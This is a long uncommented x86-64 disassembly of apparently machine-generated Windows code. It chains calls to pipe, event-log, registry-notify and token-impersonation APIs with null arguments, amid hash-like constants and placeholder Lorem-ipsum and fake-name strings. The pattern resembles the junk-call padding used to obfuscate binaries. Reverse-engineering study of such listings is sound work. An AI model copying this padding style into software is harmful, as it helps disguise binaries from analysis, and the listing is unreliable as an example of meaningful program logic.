xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r12
mov rax, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.A_ut_et_id_neque_sint_est_et_sint_totam
mov qword [rsp + 0x58], rax
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rbp, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rbp
mov rax, qword [0x004cae70]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caa30]
mov ecx, 0xcf948fae
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca820]
mov ecx, 0xb45b2a27
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca4a0]
mov ecx, 0x39b21877
mov r12, qword [0x004ca5b0]
mov dword [rdx], eax
mov rax, qword [0x004ca3b0]
mov edx, dword [rax]
mov rax, qword [0x004ca440]
mov dword [rax], edx
mov rax, qword [0x004cae90]
mov dword [rax], 0x7325d466
mov rax, qword [str.Z2iy]
mov dword [rax], 0xca420d88
mov rax, qword [0x004ca5e0]
mov eax, dword [rax]
mov dword [r12], eax
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca1c0]
mov dword [rdx], eax
mov eax, dword [r12]
mov rdx, qword [0x004ca280]
mov r12, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov dword [rdx], eax
mov rax, qword [0x004cae80]
xor edx, edx
mov dword [rax], 0xae487789
mov rax, qword [0x004ca210]
mov dword [rax], 0xa402ebe1
call r12
mov rax, qword [0x004ca710]
mov rdx, qword [0x004caa40]
xor ecx, ecx
mov r11, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov eax, dword [rax]
mov qword [rsp + 0x60], r11
mov dword [rdx], eax
mov rax, qword [0x004ca250]
mov dword [rax], 0xd31aa6bc
mov rax, qword [0x004caaa0]
mov dword [rax], 0x65a7050c
call r11
mov rax, qword [0x004ca1c0]
lea rcx, str.Voluptas_voluptatem_vel_non
mov edx, dword [rax]
mov rax, qword [0x004cac80]
mov dword [rax], edx
call r14
mov rax, qword [0x004ca610]
mov edx, dword [rax]
mov rax, qword [0x004ca9a0]
mov dword [rax], edx
mov rax, qword [0x004ca390]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caf20]
xor ecx, ecx
mov dword [rdx], eax
call r13
xor ecx, ecx
call r13
xor ecx, ecx
mov dword [rdi], 0xc2c509d6
mov rdi, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call rdi
mov r10, qword [rsp + 0x68]
xor edx, edx
xor ecx, ecx
call r10
mov r13, qword [0x004ca3c0]
mov rax, qword [0x004cadd0]
xor ecx, ecx
mov edx, dword [r13]
mov dword [rax], edx
call rsi
mov rax, qword [0x004ca4e0]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caac0]
mov dword [rax], edx
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rbp
mov r11, qword [rsp + 0x60]
xor ecx, ecx
call r11
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r12
mov r14, qword [0x004ca690]
mov rax, qword [0x004ca6d0]
mov ecx, 0x17cd5e58
mov edx, dword [r14]
mov dword [rax], edx
call fcn.00414620
xor ecx, ecx
mov dword [r14], eax
call rsi
mov rax, qword [0x004ca7c0]
xor ecx, ecx
mov r14, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov edx, dword [rax]
mov rax, qword [0x004caea0]
mov dword [rax], edx
xor edx, edx
call r14
lea rcx, str.Debitis_ducimus_culpa_est
call r15
mov rax, qword [0x004ca280]
mov dword [rax], 0xc690bbaa
mov rax, qword [0x004ca370]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca3d0]
xor ecx, ecx
mov dword [rdx], eax
call rbx
mov rax, qword [0x004caa00]
lea r8, str.Nulla_labore_maxime_facere_nesciunt_consequuntur_temporibus
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca630]
mov dword [rax], edx
mov rax, qword [0x004ca5c0]
xor edx, edx
mov dword [rax], 0xf2eaf97
mov rax, qword [0x004ca800]
mov dword [rax], 0x26fda741
mov rax, qword [rsp + 0x50]
call rax
xor edx, edx
lea rcx, str.MissKaylaSpinkaDVM
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
call rdi
mov rdi, qword [0x004cad90]
lea rcx, str.ProfRollinSchumm
mov dword [rdi], 0x136c7818
call r15
mov rax, qword [0x004ca310]
mov rdx, qword [0x004ca9e0]
mov ecx, 0x1d145b65
mov dword [rax], 0x8323330a
mov rax, qword [0x004ca820]
mov dword [rax], 0x1311099b
mov rax, qword [0x004caa40]
mov dword [rax], 0xea850f07
mov rax, qword [0x004ca270]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca5f0]
mov edx, dword [rax]
mov rax, qword [0x004ca560]
mov dword [rax], edx
mov rax, qword [0x004ca790]
mov dword [rax], 0x3dd81310
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca7b0]
mov dword [rdx], eax
xor edx, edx
call r12
mov rax, qword [0x004caa90]
xor ecx, ecx
mov dword [rax], 0xb5025ef5
call rbx
xor ecx, ecx
call rsi
mov ecx, 0x7fd85a84
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca460]
mov dword [rdx], eax
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rbp
mov ecx, dword [rdi]
call fcn.00414620
mov rdx, qword [0x004cab20]
mov dword [rdx], eax
mov rax, qword [0x004cae40]
mov ecx, dword [rax]
call fcn.00414620
mov rsi, qword [0x004ca820]
mov ecx, 0x1397c607
mov dword [rsi], eax
mov rax, qword [str.eNl.h_Q]
mov eax, dword [rax]
mov dword [r13], eax
mov rax, qword [0x004caf50]
mov edx, dword [rax]
mov rax, qword [0x004caeb0]
mov dword [rax], edx
mov rax, qword [0x004ca5e0]
mov dword [rax], 0xba47ee3d
call fcn.00414620
mov rdx, qword [0x004caf10]
xor ecx, ecx
mov dword [rdx], eax
call rbx
mov ecx, 0x1e2e1b0f
call fcn.00414620
mov rdx, qword [0x004cadf0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r14
mov rax, qword [0x004cade0]
mov edx, dword [rax]
mov rax, qword [0x004ca3f0]
mov dword [rax], edx
mov rax, qword [0x004cabf0]
mov dword [rax], 0xb96482a2
xor r9d, r9d
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0xe0]
lea r8, [rsp + 0xf8]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x421a7c
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x3675
jne 0x4178d9
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.FelixGorczany
mov qword [rsp + 0x78], rax
call rax
mov rax, qword [0x004caa00]
mov rsi, qword [0x004caab0]
xor ecx, ecx
mov rbx, qword [sym.imp.KERNEL32.dll_OpenEventA]
lea r8, str.DrShirleyOConnell
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [0x004caae0]
mov edx, dword [rax]
mov rax, qword [0x004ca510]
mov dword [rax], edx
mov rax, qword [0x004caea0]
mov edx, dword [rax]
mov rax, qword [0x004ca490]
mov dword [rax], edx
xor edx, edx
call rbx
mov rax, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov qword [rsp + 0x80], rax
call rax
mov r13, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.Minima_voluptas_adipisci_ducimus_vitae_ut_aut_consectetur
call r13
mov ecx, 0x99da25
call fcn.00414620
mov r10, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov rdx, qword [0x004ca2e0]
xor ecx, ecx
mov qword [rsp + 0x98], r10
mov dword [rdx], eax
call r10
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004caeb0]
mov rdi, qword [str.Z2iy]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov qword [rsp + 0x60], rax
call rax
mov rsi, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.MsNaomieShanahanIII
lea rcx, str.Dicta_veritatis_voluptatem_est_sint_maiores_cum_dolores_deserunt_harum_adipisci_quam_doloremque
call rsi
mov ecx, 0x14199069
call fcn.00414620
mov rdx, qword [0x004cac20]
lea r8, str.MissZolaDenesikPhD
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
mov r15, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x004cad40]
xor r9d, r9d
xor r8d, r8d
mov r14, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xc28c6de6
mov rax, qword [0x004ca5d0]
mov dword [rax], 0xb3fcee5a
mov rax, qword [0x004cac10]
mov dword [rax], 0x2dd2ce3b
mov dword [rsp + 0x20], 0
call r14
lea r8, str.SaigeJacobson
xor edx, edx
xor ecx, ecx
call rbx
mov r11, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov edx, dword [rdi]
lea rcx, str.Magnam_laboriosam_modi_rem_et
mov rax, qword [0x004ca500]
mov qword [rsp + 0x90], r11
mov dword [rax], edx
xor edx, edx
call r11
mov rax, qword [0x004ca3f0]
mov rdi, qword [0x004ca280]
mov ecx, 0xdc1f40f0
mov eax, dword [rax]
mov dword [rdi], eax
call fcn.00414620
mov rdi, qword [0x004cab50]
xor edx, edx
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rdi], eax
mov rax, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [0x004cad10]
mov rdi, qword [0x004cab10]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdi], eax
mov rdi, qword [sym.imp.KERNEL32.dll_FindClose]
call rdi
mov rax, qword [0x004ca630]
lea rcx, str.ProfThereseLangI
mov dword [rax], 0x2fd8d57c
call r13
mov rax, qword [0x004ca3b0]
mov rdx, qword [0x004ca7d0]
xor ecx, ecx
mov rbp, qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [rax]
mov dword [rdx], eax
call rbp
mov ecx, 0xc29431fa
call fcn.00414620
mov rdx, qword [0x004ca260]
lea rcx, str.Expedita_distinctio_voluptatem
mov dword [rdx], eax
lea rdx, str.LouieKlein
call rsi
lea r8, str.MalachiKilback
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004cac40]
mov ecx, 0xf6dc72b4
mov edx, dword [rax]
mov rax, qword [0x004caf80]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004ca610]
lea rcx, str.Doloribus_dolores_doloribus_laboriosam
mov dword [rdx], eax
lea rdx, str.Quos_qui_facilis_a
call rsi
mov rax, qword [0x004cab70]
mov rdx, qword [0x004cac40]
xor ecx, ecx
mov r12, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca740]
mov edx, dword [rax]
mov rax, qword [0x004cac90]
mov dword [rax], edx
mov rax, qword [0x004caee0]
mov edx, dword [rax]
mov rax, qword [0x004cad70]
mov dword [rax], edx
call r12
xor ecx, ecx
call r12
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor ecx, ecx
call r12
mov rax, qword [0x004cadc0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x2a83e902
mov rax, qword [sym.imp.KERNEL32.dll_SetCommMask]
mov qword [rsp + 0x50], rax
call rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rax, qword [0x004ca280]
mov rdx, qword [0x004caa60]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca1a0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca300]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca7e0]
mov dword [rax], 0x20d01bc6
call rbp
mov rax, qword [0x004ca770]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca7e0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileType]
mov qword [rsp + 0x88], rax
call rax
mov rax, qword [0x004ca350]
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [0x004cad90]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x70], rax
call rax
xor ecx, ecx
call rdi
mov rax, qword [0x004caa40]
xor edx, edx
mov r11, qword [rsp + 0x90]
lea rcx, str.DrMaynardHaley
mov dword [rax], 0x3146110f
call r11
xor edx, edx
xor ecx, ecx
lea r8, str.TracyJohns
call rbx
mov rax, qword [str.eNl.h_Q]
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [0x004ca770]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004ca1d0]
mov rdx, qword [0x004ca220]
mov dword [rax], 0x60baad10
mov rax, qword [0x004ca9b0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cac10]
mov rdx, qword [0x004ca720]
mov dword [rax], 0xcb0422f5
mov rax, qword [0x004caa30]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x50]
xor ecx, ecx
call rax
xor edx, edx
xor ecx, ecx
call r15
xor edx, edx
lea r8, str.LaylaAnderson
xor ecx, ecx
call rbx
mov rax, qword [0x004ca810]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca2b0]
mov dword [rdx], eax
xor edx, edx
mov dword [rsp + 0x20], 0
call r14
mov rax, qword [0x004ca790]
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [0x004caad0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
mov dword [rsp + 0x20], 0
call r14
mov rax, qword [0x004ca1f0]
lea r8, str.GregMurray
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca7c0]
mov dword [rax], edx
xor edx, edx
call rbx
xor ecx, ecx
call rdi
mov rax, qword [0x004ca7b0]
mov rdx, qword [0x004cac40]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
call rbp
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004cada0]
xor ecx, ecx
mov dword [rax], 0x414bcfb8
call r12
xor ecx, ecx
call rbp
mov rax, qword [0x004ca230]
lea rcx, str.DrFriedaBoyerDDS
mov dword [rax], 0x7a0adaba
mov rax, qword [0x004cac20]
mov dword [rax], 0xcda0083b
mov rax, qword [0x004ca770]
mov dword [rax], 0x22d63c99
call r13
xor edx, edx
mov r13, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor ecx, ecx
call r13
lea rcx, str.Autem_optio
mov rax, qword [rsp + 0x78]
call rax
mov rax, qword [0x004ca6e0]
mov r12, qword [0x004cae20]
mov ecx, 0x2cfdc3b6
mov dword [rax], 0x722ddc77
mov rax, qword [0x004ca800]
mov dword [r12], 0xfab45628
mov dword [rax], 0x555d07ca
call fcn.00414620
mov rdx, qword [0x004ca220]
mov r14, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca290]
mov rdx, qword [0x004cad90]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call r14
xor edx, edx
xor ecx, ecx
call r13
xor ecx, ecx
call rbp
xor ecx, ecx
call rdi
mov rax, qword [0x004caa90]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [str.7U5]
mov dword [rax], edx
xor edx, edx
call r15
xor ecx, ecx
mov rax, qword [rsp + 0x80]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004ca430]
mov rdx, qword [0x004cac40]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca540]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cac60]
mov r13, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov dword [rdx], eax
call r13
mov rax, qword [0x004ca260]
xor ecx, ecx
mov dword [rax], 0xecd18de
mov rax, qword [0x004cab60]
mov dword [rax], 0xd238fccf
mov rax, qword [0x004cab80]
mov edx, dword [rax]
mov rax, qword [0x004ca200]
mov dword [rax], edx
call rdi
mov rax, qword [0x004cab40]
mov ecx, 0x343b81e
mov dword [rax], 0x4d57b302
call fcn.00414620
mov rdx, qword [0x004cab30]
mov ecx, 0xf0f4224b
mov dword [rdx], eax
mov rax, qword [0x004cada0]
mov edx, dword [rax]
mov rax, qword [0x004caf20]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004caab0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x88]
call rax
mov rax, qword [0x004caaa0]
mov dword [rax], 0x55d0e8f1
mov rax, qword [0x004ca310]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caf10]
lea rcx, str.Minus_ad_doloremque_quae_consectetur_ipsam
mov dword [rdx], eax
mov rax, qword [0x004ca320]
lea rdx, str.Est_earum_quae_officiis_id_incidunt_velit_alias_animi
mov dword [rax], 0x4e3ce3b6
call rsi
mov rax, qword [0x004cab50]
mov rdx, qword [0x004cadc0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca400]
mov dword [rax], 0x1ae7d0a0
call r13
mov ecx, 0x23d33dd1
call fcn.00414620
mov rdx, qword [0x004caa70]
mov ecx, 0x99310e00
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004caa60]
mov r13, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov dword [rdx], eax
call r13
mov edx, dword [r12]
mov rax, qword [0x004caec0]
xor ecx, ecx
mov dword [rax], edx
xor edx, edx
call r15
mov rax, qword [0x004ca5b0]
xor ecx, ecx
mov dword [rax], 0xcc3a7ae7
call rbp
mov ecx, 0xd877e898
call fcn.00414620
mov rdx, qword [0x004ca720]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r14
mov rax, qword [0x004ca210]
mov r10, qword [rsp + 0x98]
xor ecx, ecx
mov eax, dword [rax]
mov dword [r12], eax
call r10
mov rax, qword [0x004cab70]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca3d0]
mov dword [rax], edx
mov rax, qword [0x004ca470]
mov rdx, qword [0x004cad40]
mov eax, dword [rax]
mov dword [rdx], eax
call rdi
mov ecx, 0x604f3924
call fcn.00414620
mov rdx, qword [0x004ca5a0]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x58]
call rax
xor edx, edx
xor ecx, ecx
call r15
xor ecx, ecx
call r13
mov rax, qword [0x004ca2b0]
mov edx, dword [rax]
mov rax, qword [0x004ca680]
mov dword [rax], edx
mov rax, qword [0x004ca800]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x3bf553b4
call r14
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004ca630]
mov rdi, qword [0x004cab10]
xor ecx, ecx
mov dword [rax], 0x71d2e720
mov rax, qword [0x004cac40]
mov dword [rax], 0x3d2fe252
mov rax, qword [0x004ca610]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cab60]
mov dword [rax], 0xeaf360b8
call r13
mov rax, qword [0x004caad0]
lea rcx, str.Ea_corrupti_non_eligendi_aut_neque_perferendis
mov edx, dword [rax]
mov rax, qword [0x004cad80]
mov dword [rax], edx
lea rdx, str.AnikaQuigley
call rsi
lea rdx, str.DrWeldonHyatt
lea rcx, str.Eum_ut_quo_est
call rsi
lea r8, str.Enim_quos_aut_aspernatur
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004cab20]
mov rbx, qword [0x004cad30]
mov rsi, qword [0x004ca810]
mov dword [rax], 0xe52c59eb
mov rax, qword [0x004cac20]
mov ecx, dword [rbx]
mov eax, dword [rax]
mov dword [rsi], eax
call fcn.00414620
mov rsi, qword [0x004ca400]
xor edx, edx
xor ecx, ecx
mov dword [rbx], eax
mov rax, qword [0x004ca7d0]
xor r9d, r9d
xor r8d, r8d
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [rsp + 0x68]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rax
mov rax, qword [rsp + 0x68]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rax
mov rax, qword [rsp + 0xe0]
mov dword [rsp + 0x164], 0x101
mov word [rsp + 0x168], 0
mov qword [rsp + 0x178], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], rax
mov rax, qword [0x004cacb0]
cmp dword [rax], 0
je 0x41811f
mov rbx, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rbx
mov rsi, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
xor ecx, ecx
call rsi
mov rbp, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
call rbp
mov rdi, qword [0x004ca4c0]
xor r9d, r9d
xor r8d, r8d
mov rax, qword [0x004caca0]
mov r11, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor ecx, ecx
mov edx, dword [rdi]
mov qword [rsp + 0x88], r11
mov dword [rax], edx
mov rax, qword [0x004ca780]
xor edx, edx
mov dword [rax], 0x1cc401c1
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r11
mov ecx, 0xd40dae9
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004cac50]
mov dword [rdx], eax
xor edx, edx
call rbx
mov eax, dword [rdi]
mov rdi, qword [0x004ca7a0]
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [0x004cab00]
mov rdi, qword [0x004cabc0]
mov edx, dword [rax]
mov rax, qword [0x004cab70]
mov dword [rax], edx
mov edx, dword [rdi]
mov rax, qword [0x004ca9b0]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
mov qword [rsp + 0x70], rax
call rax
mov rax, qword [0x004ca410]
mov rdx, qword [0x004ca1e0]
xor ecx, ecx
mov r12, qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov dword [rax], 0x114920d4
mov rax, qword [0x004cad60]
mov eax, dword [rax]
mov dword [rdx], eax
call r12
mov rax, qword [0x004ca760]
mov rdx, qword [0x004cac90]
xor ecx, ecx
lea r8, str.Sequi_et_laboriosam_aut_velit_excepturi_quam_iste_repellendus_est
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
mov qword [rsp + 0x50], rax
call rax
xor ecx, ecx
call rbp
mov ecx, 0x568a3028
call fcn.00414620
mov rdx, qword [0x004cad80]
xor ecx, ecx
mov dword [rdx], eax
call r12
mov ecx, 0x4e46112e
mov dword [rdi], 0x74ae0cc5
call fcn.00414620
mov rdx, qword [0x004cae10]
mov rdi, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rdi
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
lea r8, str.Tempore_totam_est_et_nam_sed_iure_sequi_unde_deleniti_aut_sunt
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
xor ecx, ecx
call r12
mov rax, qword [0x004ca1a0]
mov r10, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rcx, str.Aut_neque_at_aut_perspiciatis_expedita
mov rdx, qword [0x004cad90]
mov eax, dword [rax]
mov qword [rsp + 0x80], r10
mov dword [rdx], eax
lea rdx, str.Saepe_quis_unde_labore_quia_et_sit_ut_ea_velit
call r10
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov qword [rsp + 0x60], rax
call rax
xor ecx, ecx
call rbp
mov rax, qword [0x004cab60]
mov r14, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cac00]
mov dword [rax], edx
call r14
mov rax, qword [0x004cae80]
mov edx, dword [rax]
mov rax, qword [0x004cadc0]
mov dword [rax], edx
mov rax, qword [0x004cabb0]
mov dword [rax], 0xf389ad94
mov rax, qword [0x004ca450]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cae00]
mov ecx, 0x625a74f5
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca740]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rbx
xor edx, edx
xor ecx, ecx
call rdi
mov rdi, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
call rdi
mov rax, qword [0x004caad0]
xor ecx, ecx
mov dword [rax], 0xeb33512a
call rdi
mov rax, qword [0x004ca4d0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca6d0]
mov dword [rax], edx
mov rax, qword [0x004ca1c0]
mov dword [rax], 0xdfe8cdfd
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [0x004cabf0]
mov rdi, qword [0x004caed0]
lea rcx, str.BrennaGottlieb
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov qword [rsp + 0x78], rax
call rax
mov r13, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
call r13
mov r12, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.Ex_est_sed_suscipit_sapiente
call r12
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004ca330]
mov ecx, 0x5931c9bd
mov edx, dword [rax]
mov rax, qword [0x004cad70]
mov dword [rax], edx
call fcn.00414620
mov rdi, qword [0x004cab00]
xor ecx, ecx
mov dword [rdi], eax
mov rdi, qword [sym.imp.KERNEL32.dll_SetLastError]
call rdi
xor edx, edx
xor ecx, ecx
call rsi
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004ca530]
lea rcx, str.Itaque_omnis_voluptatem_commodi_ipsam
mov dword [rax], 0x91974740
mov rax, qword [0x004ca650]
mov dword [rax], 0xad816a9d
mov rax, qword [0x004ca2d0]
mov dword [rax], 0x1b70d919
mov rax, qword [0x004ca690]
mov dword [rax], 0x96cd11c4
call r12
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
xor edx, edx
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov r15, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov dword [rsp + 0x20], 0
call r15
mov ecx, 0xfbb39281
call fcn.00414620
mov rdx, qword [0x004caa60]
xor ecx, ecx
mov dword [rdx], eax
call r14
xor edx, edx
xor ecx, ecx
lea r8, str.MsTiaraConroyMD
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004cadf0]
xor r9d, r9d
xor r8d, r8d
mov r11, qword [rsp + 0x88]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x156563fc
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r11
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rbx
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
mov r8, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x50], r8
call r8
lea rcx, str.DeloresJaskolski
call r12
mov rax, qword [0x004ca6b0]
